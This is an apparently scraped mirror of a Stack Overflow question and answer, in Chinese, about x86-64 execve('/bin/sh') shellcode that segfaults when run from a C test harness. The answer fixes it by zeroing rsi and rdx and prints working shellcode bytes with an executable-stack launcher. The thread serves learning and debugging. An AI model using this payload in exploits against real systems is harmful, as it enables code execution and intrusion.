gpt4 book ai didi

c - 汇编可以工作,但 shellcode 不能

转载 作者:行者123 更新时间:2023-11-30 20:50:21 26 4
gpt4 key购买 nike

我有一个 x64 处理器,我正在研究 shellcode。
我有以下代码:

section .text
global _start

_start:
push rax
mov rbx, 0x68732f6e69622f2f
shr rbx, 0x8
push rbx
mov rdi, rsp
;mov rdi, com

mov al, 59
syscall

当使用以下命令编译时:

nasm -g -f elf64 execve.asm  

并链接到:

ld execve.o -o execve

运行良好。它打开一个外壳。如果我从中获取 shellcode:

"\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

并使用这个 C 程序:

int main(void)
{
const char shellcode[] = "\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05";

(*(void (*)()) shellcode)();

return 0;

}编译它:

gcc -fno-stack-protector -z execstack -o ex2 ex.c

如果运行它会返回段错误,但它应该执行 shell。为什么?感谢帮助!

最佳答案

您的独立程序集取决于寄存器 rsirdx 是否归零。(从 http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ 可以看出 sys_execve 通过寄存器 rdirsirdx 获取三个参数,如果 Linux 也会接受它>rdi 是正确的文件名,rsirdx 为零)。

程序启动时可能会出现这种情况,但从程序中运行指令时则不会出现这种情况。程序的中间。

因此,如果rsirdx中有垃圾,系统调用将失败并且指令流将继续执行系统调用指令后找到的垃圾字节,最终导致崩溃(这确实是您的情况所发生的情况,正如您通过 gdb 运行程序所看到的那样)

使系统调用成功的最简单方法是将第二个和第三个参数清零:

section .text
global _start

_start:
xor rax, rax
xor rsi, rsi ; zero 2nd argument
xor rdx, rdx ; zero 3rd argument
push rax
mov rbx, 0x68732f6e69622f2f
shr rbx, 0x8
push rbx
mov rdi, rsp

mov al, 59
syscall

对应的C代码:

int main(void)
{
char shellcode[] =

"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
;
((void (*)()) shellcode)();
return 0;
}

关于c - 汇编可以工作,但 shellcode 不能,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/46266543/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com